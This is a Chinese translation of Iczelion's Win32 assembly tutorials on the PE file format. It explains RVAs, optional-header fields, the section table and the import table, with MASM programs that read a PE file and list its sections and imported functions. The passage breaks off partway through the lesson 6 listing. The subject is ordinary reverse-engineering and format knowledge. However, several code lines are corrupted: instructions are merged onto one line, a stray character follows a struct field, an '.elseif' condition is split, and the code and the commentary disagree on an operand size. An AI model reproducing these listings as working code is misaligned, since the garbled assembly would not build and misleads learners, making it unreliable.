RVA 代表相对虚拟地址。 知道什么是虚拟地址吗？相对那些简单的概念而言，RVA有些晦涩。简言之，RVA是虚拟空间中到参考点的一段距离。我打赌您肯定熟悉文件偏移量: RVA就是类似文件偏移量的东西。当然它是相对虚拟空间里的一个地址，而不是文件头部。举例说明，如果PE文件装入虚拟地址(VA)空间的400000h处，且进程从虚址401000h开始执行，我们可以说进程执行起始地址在RVA 1000h。每个RVA都是相对于模块的起始VA的。
为什么PE文件格式要用到RVA呢? 这是为了减少PE装载器的负担。因为每个模块多有可能被重载到任何虚拟地址空间，如果让PE装载器修正每个重定位项，这肯定是个梦魇。相反，如果所有重定位项都使用RVA，那么PE装载器就不必操心那些东西了: 它只要将整个模块重定位到新的起始VA。这就象相对路径和绝对路径的概念: RVA类似相对路径，VA就象绝对路径。

Field | Meanings
AddressOfEntryPoint | PE装载器准备运行的PE文件的第一个指令的RVA。若您要改变整个执行的流程，可以将该值指定到新的RVA，这样新RVA处的指令首先被执行。
ImageBase | PE文件的优先装载地址。比如，如果该值是400000h，PE装载器将尝试把文件装到虚拟地址空间的400000h处。字眼"优先"表示若该地址区域已被其他模块占用，那PE装载器会选用其他空闲地址。
SectionAlignment | 内存中节对齐的粒度。例如，如果该值是4096 (1000h)，那么每节的起始地址必须是4096的倍数。若第一节从401000h开始且大小是10个字节，则下一节必定从402000h开始，即使401000h和402000h之间还有很多空间没被使用。
FileAlignment | 文件中节对齐的粒度。例如，如果该值是(200h),，那么每节的起始地址必须是512的倍数。若第一节从文件偏移量200h开始且大小是10个字节，则下一节必定位于偏移量400h: 即使偏移量512和1024之间还有很多空间没被使用/定义。
MajorSubsystemVersion MinorSubsystemVersion | win32子系统版本。若PE文件是专门为Win32设计的，该子系统版本必定是4.0否则对话框不会有3维立体感。
SizeOfImage | 内存中整个PE映像体的尺寸。它是所有头和节经过节对齐处理后的大小。
SizeOfHeaders | 所有头+节表的大小，也就等于文件尺寸减去文件中所有节的尺寸。可以以此值作为PE文件第一节的文件偏移量。
Subsystem | NT用来识别PE文件属于哪个子系统。 对于大多数Win32程序，只有两类值: Windows GUI 和 Windows CUI (控制台)。
DataDirectory | 一IMAGE_DATA_DIRECTORY 结构数组。每个结构给出一个重要数据结构的RVA，比如引入地址表等。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


Iczelion的PE教程5: Section Table（节表）

PE教程5: Section Table（节表）

请下载 范例 。

理论:

到本课为止，我们已经学了许多关于 DOS header 和 PE header 的知识。接下来就该轮到 section table（节表）了。节表其实就是紧挨着 PE header 的一结构数组。该数组成员的数目由 file header (IMAGE_FILE_HEADER) 结构中 NumberOfSections 域的域值来决定。节表结构又命名为 IMAGE_SECTION_HEADER。

IMAGE_SIZEOF_SHORT_NAME equ 8

IMAGE_SECTION_HEADER STRUCT
Name1 db IMAGE_SIZEOF_SHORT_NAME dup(?)
union Misc
PhysicalAddress dd ?
VirtualSize dd ?
ends
VirtualAddress dd ?
SizeOfRawData dd ?
PointerToRawData dd ?
PointerToRelocations dd ?
PointerToLinenumbers dd ? 哦
 NumberOfRelocations dw ?
NumberOfLinenumbers dw ?
Characteristics dd ?
IMAGE_SECTION_HEADER ENDS

同样，不是所有成员都是很有用的，我们只关心那些真正重要的。

Field | Meanings
Name1 | 事实上本域的名称是"name"，只是"name"已被MASM用作关键字，所以我们只能用"Name1"代替。这儿的节名长不超过8字节。记住节名仅仅是个标记而已，我们选择任何名字甚至空着也行，注意这里不用null结束。命名不是一个ASCIIZ字符串，所以不用null结尾。
VirtualAddress | 本节的RVA（相对虚拟地址）。PE装载器将节映射至内存时会读取本值，因此如果域值是1000h，而PE文件装在地址400000h处，那么本节就被载到401000h。
SizeOfRawData | 经过文件对齐处理后节尺寸，PE装载器提取本域值了解需映射入内存的节字节数。（译者注: 假设一个文件的文件对齐尺寸是0x200，如果前面的 VirtualSize域指示本节长度是0x388字节，则本域值为0x400，表示本节是0x400字节长）。
PointerToRawData | 这是节基于文件的偏移量，PE装载器通过本域值找到节数据在文件中的位置。
Characteristics | 包含标记以指示节属性，比如节是否含有可执行代码、初始化数据、未初始数据，是否可写、可读等。

现在我们已知晓 IMAGE_SECTION_HEADER 结构，再来模拟一下 PE装载器的工作吧:

  1. 读取 IMAGE_FILE_HEADER 的 NumberOfSections域，知道文件的节数目。
  2. SizeOfHeaders 域值作为节表的文件偏移量，并以此定位节表。
  3. 遍历整个结构数组检查各成员值。
  4. 对于每个结构，我们读取PointerToRawData域值并定位到该文件偏移量。然后再读取SizeOfRawData域值来决定映射内存的字节数。将VirtualAddress域值加上ImageBase域值等于节起始的虚拟地址。然后就准备把节映射进内存，并根据Characteristics域值设置属性。
  5. 遍历整个数组，直至所有节都已处理完毕。

注意我们并没有使用节名: 这其实并不重要。

示例:

本例程打开一PE文件遍历其节表，并在列表框控件显示各节的信息。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
include \masm32\include\comctl32.inc
includelib \masm32\lib\comctl32.lib
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_SECTIONTABLE equ 104
IDC_SECTIONLIST equ 1001

SEH struct

PrevLink dd ? ; the address of the previous seh structure
CurrentHandler dd ? ; the address of the new exception handler
SafeOffset dd ? ; The offset where it's safe to continue execution
PrevEsp dd ? ; the old value in esp
PrevEbp dd ? ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.5",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileInValidPE db "This file is not a valid PE",0
template db "%08lx",0
SectionName db "Section",0
VirtualSize db "V.Size",0
VirtualAddress db "V.Address",0
SizeOfRawData db "Raw Size",0
RawOffset db "Raw Offset",0
Characteristics db "Characteristics",0

.data?
hInstance dd ?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?
NumberOfSections dd ?

.code
start proc
LOCAL seh:SEH
   invoke GetModuleHandle,NULL
   mov hInstance,eax
   mov ofn.lStructSize,SIZEOF ofn
   mov ofn.lpstrFilter, OFFSET FilterString
   mov ofn.lpstrFile, OFFSET buffer
   mov ofn.nMaxFile,512
   mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
   invoke GetOpenFileName, ADDR ofn
   .if eax==TRUE
      invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
      .if eax!=INVALID_HANDLE_VALUE
         mov hFile, eax
         invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
         .if eax!=NULL
            mov hMapping, eax
            invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
            .if eax!=NULL
               mov pMapping,eax
               assume fs:nothing
               push fs:[0]
               pop seh.PrevLink
               mov seh.CurrentHandler,offset SEHHandler
               mov seh.SafeOffset,offset FinalExit
               lea eax,seh
               mov fs:[0], eax
               mov seh.PrevEsp,esp
               mov seh.PrevEbp,ebp
               mov edi, pMapping
               assume edi:ptr IMAGE_DOS_HEADER
               .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                  add edi, [edi].e_lfanew
                  assume edi:ptr IMAGE_NT_HEADERS
                  .if [edi].Signature==IMAGE_NT_SIGNATURE
                     mov ValidPE, TRUE
                  .else
                     mov ValidPE, FALSE
                  .endif
               .else
                  mov ValidPE,FALSE
               .endif
FinalExit:
               push seh.PrevLink
               pop fs:[0]
               .if ValidPE==TRUE
                  call ShowSectionInfo
               .else
                  invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
               .endif
               invoke UnmapViewOfFile, pMapping
           .else
               invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
  .endif
  invoke ExitProcess, 0
  invoke InitCommonControls
start endp

SEHHandler proc uses edx pExcept:DWORD,pFrame:DWORD,pContext:DWORD,pDispatch:DWORD
   mov edx,pFrame
   assume edx:ptr SEH
   mov eax,pContext
   assume eax:ptr CONTEXT
   push [edx].SafeOffset
   pop [eax].regEip
   push [edx].PrevEsp
   pop [eax].regEsp
   push [edx].PrevEbp
   pop [eax].regEbp
   mov ValidPE, FALSE
   mov eax,ExceptionContinueExecution
   ret
SEHHandler endp

DlgProc proc uses edi esi hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
   LOCAL lvc:LV_COLUMN
   LOCAL lvi:LV_ITEM
   .if uMsg==WM_INITDIALOG
      mov esi, lParam
      mov lvc.imask,LVCF_FMT or LVCF_TEXT or LVCF_WIDTH or LVCF_SUBITEM
      mov lvc.fmt,LVCFMT_LEFT
      mov lvc.lx,80
      mov lvc.iSubItem,0
      mov lvc.pszText,offset SectionName
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,0,addr lvc inc lvc.iSubItem
      mov lvc.fmt,LVCFMT_RIGHT
      mov lvc.pszText,offset VirtualSize
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,1,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset VirtualAddress
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,2,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset SizeOfRawData
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,3,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset RawOffset
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,4,addr lvc
      inc lvc.iSubItem
      mov lvc.pszText,offset Characteristics
      invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTCOLUMN,5,addr lvc
      mov ax, NumberOfSections
      movzx eax,ax
      mov edi,eax
      mov lvi.imask,LVIF_TEXT
      mov lvi.iItem,0
      assume esi:ptr IMAGE_SECTION_HEADER
      .while edi>0
         mov lvi.iSubItem,0
         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Misc.VirtualSize
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].VirtualAddress
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].SizeOfRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].PointerToRawData
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         invoke wsprintf,addr buffer,addr template,[esi].Characteristics
         lea eax,buffer
         mov lvi.pszText,eax
         inc lvi.iSubItem
         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_SETITEM,0,addr lvi
         inc lvi.iItem
         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw
   .elseif
      uMsg==WM_CLOSE
         invoke EndDialog,hDlg,NULL
   .else
      mov eax,FALSE
      ret
   .endif
   mov eax,TRUE
   ret
DlgProc endp

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS
   mov ax,[edi].FileHeader.NumberOfSections
   movzx eax,ax
   mov NumberOfSections,eax
   add edi,sizeof IMAGE_NT_HEADERS
   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi
   ret
ShowSectionInfo endp
end start

分析:

本例重用了PE教程2的代码，校验PE文件的有效性后，继续调用函数ShowSectionInfo显示各节信息。

ShowSectionInfo proc uses edi
   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   add edi, [edi].e_lfanew
   assume edi:ptr IMAGE_NT_HEADERS

我们将edi用作指向PE文件数据的指针。首先，将指向DOS header地址的pMapping赋给edi，再加上e_lfanew域值等于PE header的地址。

   mov ax,[edi].FileHeader.NumberOfSections
   mov NumberOfSections,ax

因为我们要遍历节表，所以必须先获取文件的节数目。这就得靠file header里的NumberOfSections域了，切记这是个word域。

   add edi,sizeof IMAGE_NT_HEADERS

现在edi正指向PE header的起始地址，加上PE header结构大小后恰好指向节表了。

   invoke DialogBoxParam, hInstance, IDD_SECTIONTABLE,NULL, addr DlgProc, edi

调用 DialogBoxParam 显示列表对话框，注意我们已将节表地址作为最后一个参数传递过去了，该值可从WM_INITDIALOG 消息的lParam参数中提取。

在对话框过程里我们响应WM_INITDIALOG消息，将lParam值 (节表地址)存入esi，节数目赋给edi并设置列表控件。万事俱备后，进入循环将各节信息插入到列表控件中，这部分相当简单。

      .while edi>0
         mov lvi.iSubItem,0

字符串置入第一列。

         invoke RtlZeroMemory,addr buffer,9
         invoke lstrcpyn,addr buffer,addr [esi].Name1,8
         lea eax,buffer
         mov lvi.pszText,eax

要显示节名，当然要将其转换为ASCIIZ字符串先。

         invoke SendDlgItemMessage,hDlg,IDC_SECTIONLIST,LVM_INSERTITEM,0,addr lvi

然后显示第一列。
继续我们伟大的工程，显示完本节中最后一个欲呈现的值后，立马下一个结构。

         dec edi
         add esi, sizeof IMAGE_SECTION_HEADER
      .endw

每处理完一节就递减edi，然后将esi加上IMAGE_SECTION_HEADER 结构大小，使其指向下一个IMAGE_SECTION_HEADER 结构。

遍历节表的步骤:

  1. PE文件有效性校验。
  2. 定位到 PE header 的起始地址。
  3. 从 file header 的 NumberOfSections域获取节数。
  4. 通过两种方法定位节表: ImageBase+SizeOfHeaders 或者 PE header的起始地址+ PE header结构大小。 (节表紧随 PE header)。如果不是使用文件映射的方法，可以用SetFilePointer 直接将文件指针定位到节表。节表的文件偏移量存放在 SizeOfHeaders域里。(SizeOfHeaders 是 IMAGE_OPTIONAL_HEADER 的结构成员)
  5. 处理每个 IMAGE_SECTION_HEADER 结构。

翻译：iamgufeng [ Iczelion's Win32 Assembly Homepage ][ LuoYunBin's Win32 ASM Page ]


Iczelion的PE教程6: Import Table（引入表）

PE教程6: Import Table（引入表）

本课我们将学习引入表。先警告一下，对于不熟悉引入表的读者来说，这是一堂又长又难的课，所以需要多读几遍，最好再打开调试器来好好分析相关结构。各位，努力啊！

下载 范例 。

理论:

首先，您得了解什么是引入函数。一个引入函数是被某模块调用的但又不在调用者模块中的函数，因而命名为"import（引入）"。引入函数实际位于一个或者更多的DLL里。调用者模块里只保留一些函数信息，包括函数名及其驻留的DLL名。现在，我们怎样才能找到PE文件中保存的信息呢? 转到 data directory 寻求答案吧。再回顾一把，下面就是 PE header:

IMAGE_NT_HEADERS STRUCT
   Signature dd ?
   FileHeader IMAGE_FILE_HEADER <>
   OptionalHeader IMAGE_OPTIONAL_HEADER <>
IMAGE_NT_HEADERS ENDS

optional header 最后一个成员就是 data directory（数据目录）:

IMAGE_OPTIONAL_HEADER32 STRUCT
   ....
   LoaderFlags dd ?
   NumberOfRvaAndSizes dd ?
   DataDirectory IMAGE_DATA_DIRECTORY 16 dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS

data directory 是一个 IMAGE_DATA_DIRECTORY 结构数组，共有16个成员。如果您还记得节表可以看作是PE文件各节的根目录的话，也可以认为 data directory 是存储在这些节里的逻辑元素的根目录。明确点，data directory 包含了PE文件中各重要数据结构的位置和尺寸信息。 每个成员包含了一个重要数据结构的信息。

Member | Info inside
0 | Export symbols
1 | Import symbols
2 | Resources
3 | Exception
4 | Security
5 | Base relocation
6 | Debug
7 | Copyright string
8 | Unknown
9 | Thread local storage (TLS)
10 | Load configuration
11 | Bound Import
12 | Import Address Table
13 | Delay Import
14 | COM descriptor

上面那些金色显示的是我熟悉的。了解 data directory 包含域后，我们可以仔细研究它们了。data directory 的每个成员都是 IMAGE_DATA_DIRECTORY 结构类型的，其定义如下所示:

IMAGE_DATA_DIRECTORY STRUCT
  VirtualAddress dd ?
  isize dd ?
IMAGE_DATA_DIRECTORY ENDS

VirtualAddress 实际上是数据结构的相对虚拟地址(RVA)。比如，如果该结构是关于import symbols的，该域就包含指向IMAGE_IMPORT_DESCRIPTOR 数组的RVA。
isize 含有VirtualAddress所指向数据结构的字节数。

下面就是如何找寻PE文件中重要数据结构的一般方法:

  1. 从 DOS header 定位到 PE header
  2. 从 optional header 读取 data directory 的地址。
  3. IMAGE_DATA_DIRECTORY 结构尺寸乘上找寻结构的索引号: 比如您要找寻import symbols的位置信息，必须用IMAGE_DATA_DIRECTORY 结构尺寸(8 bytes)乘上1（import symbols在data directory中的索引号）。
  4. 将上面的结果加上data directory地址，我们就得到包含所查询数据结构信息的 IMAGE_DATA_DIRECTORY 结构项。

现在我们开始真正讨论引入表了。data directory数组第二项的VirtualAddress包含引入表地址。引入表实际上是一个 IMAGE_IMPORT_DESCRIPTOR 结构数组。每个结构包含PE文件引入函数的一个相关DLL的信息。比如，如果该PE文件从10个不同的DLL中引入函数，那么这个数组就有10个成员。该数组以一个全0的成员结尾。下面详细研究结构组成:

IMAGE_IMPORT_DESCRIPTOR STRUCT
  union
    Characteristics dd ?
    OriginalFirstThunk dd ?
  ends
  TimeDateStamp dd ?
  ForwarderChain dd ?
  Name1 dd ?
  FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS

结构第一项是一个union子结构。 事实上，这个union子结构只是给 OriginalFirstThunk 增添了个别名，您也可以称其为"Characteristics"。 该成员项含有指向一个 IMAGE_THUNK_DATA 结构数组的RVA。
什么是 IMAGE_THUNK_DATA? 这是一个dword类型的集合。通常我们将其解释为指向一个 IMAGE_IMPORT_BY_NAME 结构的指针。注意 IMAGE_THUNK_DATA 包含了指向一个 IMAGE_IMPORT_BY_NAME 结构的指针: 而不是结构本身。
请看这里: 现有几个 IMAGE_IMPORT_BY_NAME 结构，我们收集起这些结构的RVA (IMAGE_THUNK_DATAs)组成一个数组，并以0结尾，然后再将数组的RVA放入 OriginalFirstThunk。
此 IMAGE_IMPORT_BY_NAME 结构存有一个引入函数的相关信息。再来研究 IMAGE_IMPORT_BY_NAME 结构到底是什么样子的呢:

IMAGE_IMPORT_BY_NAME STRUCT
  Hint dw ?
  Name1 db ?
IMAGE_IMPORT_BY_NAME ENDS

Hint 指示本函数在其所驻留DLL的引出表中的索引号。该域被PE装载器用来在DLL的引出表里快速查询函数。该值不是必须的，一些连接器将此值设为0。
Name1 含有引入函数的函数名。函数名是一个ASCIIZ字符串。注意这里虽然将Name1的大小定义成字节，其实它是可变尺寸域，只不过我们没有更好方法来表示结构中的可变尺寸域。The structure is provided so that you can refer to the data structure with descriptive names.

TimeDateStamp 和 ForwarderChain 可是高级东东: 让我们精通其他成员后再来讨论它们吧。

Name1 含有指向DLL名字的RVA，即指向DLL名字的指针，也是一个ASCIIZ字符串。

FirstThunk 与 OriginalFirstThunk 非常相似，它也包含指向一个 IMAGE_THUNK_DATA 结构数组的RVA(当然这是另外一个IMAGE_THUNK_DATA 结构数组)。
好了，如果您还在犯糊涂，就朝这边看过来: 现在有几个 IMAGE_IMPORT_BY_NAME 结构，同时您又创建了两个结构数组，并同样寸入指向那些 IMAGE_IMPORT_BY_NAME 结构的RVAs，这样两个数组就包含相同数值了(可谓相当精确的复制啊)。 最后您决定将第一个数组的RVA赋给 OriginalFirstThunk，第二个数组的RVA赋给 FirstThunk，这样一切都很清楚了。

OriginalFirstThunk 　 IMAGE_IMPORT_BY_NAME 　 FirstThunk

|

         |
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Function 1
Function 2
Function 3
Function 4
...
Function n
<---
<---
<---
<---
<---
<---
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA

现在您应该明白我的意思。不要被IMAGE_THUNK_DATA这个名字弄糊涂: 它仅是指向 IMAGE_IMPORT_BY_NAME 结构的RVA。 如果将 IMAGE_THUNK_DATA 字眼想象成RVA，就更容易明白了。OriginalFirstThunk 和 FirstThunk 所指向的这两个数组大小取决于PE文件从DLL中引入函数的数目。比如，如果PE文件从kernel32.dll中引入10个函数，那么IMAGE_IMPORT_DESCRIPTOR 结构的 Name1域包含指向字符串"kernel32.dll"的RVA，同时每个IMAGE_THUNK_DATA 数组有10个元素。

下一个问题是: 为什么我们需要两个完全相同的数组? 为了回答该问题，我们需要了解当PE文件被装载到内存时，PE装载器将查找IMAGE_THUNK_DATA 和 IMAGE_IMPORT_BY_NAME 这些结构数组，以此决定引入函数的地址。然后用引入函数真实地址来替代由FirstThunk指向的 IMAGE_THUNK_DATA 数组里的元素值。因此当PE文件准备执行时，上图已转换成:

OriginalFirstThunk 　 IMAGE_IMPORT_BY_NAME 　 FirstThunk

|

         |
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
IMAGE_THUNK_DATA
...
IMAGE_THUNK_DATA
--->
--->
--->
--->
--->
--->
Function 1
Function 2
Function 3
Function 4
...
Function n

Address of Function 1
Address of Function 2
Address of Function 3
Address of Function 4
...
Address of Function n

由OriginalFirstThunk 指向的RVA数组始终不会改变，所以若还反过头来查找引入函数名，PE装载器还能找寻到。
当然再简单的事物都有其复杂的一面。有些情况下一些函数仅由序数引出，也就是说您不能用函数名来调用它们: 您只能用它们的位置来调用。此时，调用者模块中就不存在该函数的 IMAGE_IMPORT_BY_NAME 结构。不同的，对应该函数的 IMAGE_THUNK_DATA 值的低位字指示函数序数，而最高二进位 (MSB)设为1。例如，如果一个函数只由序数引出且其序数是1234h，那么对应该函数的 IMAGE_THUNK_DATA 值是80001234h。Microsoft提供了一个方便的常量来测试dword值的MSB位，就是 IMAGE_ORDINAL_FLAG32，其值为80000000h。
假设我们要列出某个PE文件的所有引入函数，可以照着下面步骤走:

  1. 校验文件是否是有效的PE。
  2. 从 DOS header 定位到 PE header。
  3. 获取位于 OptionalHeader 数据目录地址。
  4. 转至数据目录的第二个成员提取其VirtualAddress值。
  5. 利用上值定位第一个 IMAGE_IMPORT_DESCRIPTOR 结构。
  6. 检查 OriginalFirstThunk值。若不为0，顺着 OriginalFirstThunk 里的RVA值转入那个RVA数组。若 OriginalFirstThunk 为0，就改用FirstThunk值。有些连接器生成PE文件时会置OriginalFirstThunk值为0，这应该算是个bug。不过为了安全起见，我们还是检查 OriginalFirstThunk值先。
  7. 对于每个数组元素，我们比对元素值是否等于IMAGE_ORDINAL_FLAG32。如果该元素值的最高二进位为1， 那么函数是由序数引入的，可以从该值的低字节提取序数。
  8. 如果元素值的最高二进位为0，就可将该值作为RVA转入 IMAGE_IMPORT_BY_NAME 数组，跳过 Hint 就是函数名字了。
  9. 再跳至下一个数组元素提取函数名一直到数组底部(它以null结尾)。现在我们已遍历完一个DLL的引入函数，接下去处理下一个DLL。
  10. 即跳转到下一个 IMAGE_IMPORT_DESCRIPTOR 并处理之，如此这般循环直到数组见底。(IMAGE_IMPORT_DESCRIPTOR 数组以一个全0域元素结尾)。

示例:

本例程打开一PE文件，将所有引入函数名读入一编辑控件，同时显示 IMAGE_IMPORT_DESCRIPTOR 结构各域值。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

IDD_MAINDLG equ 101
IDC_EDIT equ 1000
IDM_OPEN equ 40001
IDM_EXIT equ 40003

DlgProc proto :DWORD,:DWORD,:DWORD,:DWORD
ShowImportFunctions proto :DWORD
ShowTheFunctions proto :DWORD,:DWORD
AppendText proto :DWORD,:DWORD

SEH struct
PrevLink dd ? ; the address of the previous seh structure
CurrentHandler dd ? ; the address of the new exception handler
SafeOffset dd ? ; The offset where it's safe to continue execution
PrevEsp dd ? ; the old value in esp
PrevEbp dd ? ; The old value in ebp
SEH ends

.data
AppName db "PE tutorial no.6",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
             db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
NotValidPE db "This file is not a valid PE",0
CRLF db 0Dh,0Ah,0
ImportDescriptor db 0Dh,0Ah,"================[ IMAGE_IMPORT_DESCRIPTOR ]=============",0
IDTemplate db "OriginalFirstThunk = %lX",0Dh,0Ah
           db "TimeDateStamp = %lX",0Dh,0Ah
           db "ForwarderChain = %lX",0Dh,0Ah
           db "Name = %s",0Dh,0Ah
           db "FirstThunk = %lX",0
NameHeader db 0Dh,0Ah,"Hint Function",0Dh,0Ah
           db "-----------------------------------------",0
NameTemplate db "%u %s",0
OrdinalTemplate db "%u (ord.)",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start:
invoke GetModuleHandle,NULL
invoke DialogBoxParam, eax, IDD_MAINDLG,NULL,addr DlgProc, 0
invoke ExitProcess, 0

DlgProc proc hDlg:DWORD, uMsg:DWORD, wParam:DWORD, lParam:DWORD
.if uMsg==WM_INITDIALOG
  invoke SendDlgItemMessage,hDlg,IDC_EDIT,EM_SETLIMITTEXT,0,0
.elseif uMsg==WM_CLOSE
  invoke EndDialog,hDlg,0
.elseif uMsg==WM_COMMAND
  .if lParam==0
    mov eax,wParam
    .if ax==IDM_OPEN
      invoke ShowImportFunctions,hDlg
    .else ; IDM_EXIT
      invoke SendMessage,hDlg,WM_CLOSE,0,0
    .endif
  .endif
.else
  mov eax,FALSE
  ret
.endif
mov eax,TRUE
ret
DlgProc endp

SEHHandler proc uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
  mov edx,pFrame
  assume edx:ptr SEH
  mov eax,pContext
  assume eax:ptr CONTEXT
  push [edx].SafeOffset
  pop [eax].regEip
  push [edx].PrevEsp
  pop [eax].regEsp
  push [edx].PrevEbp
  pop [eax].regEbp
  mov ValidPE, FALSE
  mov eax,ExceptionContinueExecution
  ret
SEHHandler endp

ShowImportFunctions proc uses edi hDlg:DWORD
  LOCAL seh:SEH
  mov ofn.lStructSize,SIZEOF
  ofn mov ofn.lpstrFilter, OFFSET FilterString
  mov ofn.lpstrFile, OFFSET buffer
  mov ofn.nMaxFile,512
  mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
  invoke GetOpenFileName, ADDR ofn
  .if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
      mov hFile, eax
      invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
      .if eax!=NULL
        mov hMapping, eax
        invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
        .if eax!=NULL
          mov pMapping,eax
          assume fs:nothing
          push fs:[0]
          pop seh.PrevLink
          mov seh.CurrentHandler,offset SEHHandler
          mov seh.SafeOffset,offset FinalExit
          lea eax,seh
          mov fs:[0], eax
          mov seh.PrevEsp,esp
          mov seh.PrevEbp,ebp
          mov edi, pMapping
          assume edi:ptr IMAGE_DOS_HEADER
          .if [edi].e_magic==IMAGE_DOS_SIGNATURE
            add edi, [edi].e_lfanew
            assume edi:ptr IMAGE_NT_HEADERS
            .if [edi].Signature==IMAGE_NT_SIGNATURE
              mov ValidPE, TRUE
            .else
              mov ValidPE, FALSE
            .endif
          .else
            mov ValidPE,FALSE
          .endif
FinalExit:
          push seh.PrevLink
          pop fs:[0]
          .if ValidPE==TRUE
            invoke ShowTheFunctions, hDlg, edi
          .else
            invoke MessageBox,0, addr NotValidPE, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke UnmapViewOfFile, pMapping
      .else
          invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
      .endif
      invoke CloseHandle,hMapping
    .else
      invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
    .endif
    invoke CloseHandle, hFile
   .else
   invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
   .endif
 .endif
 ret
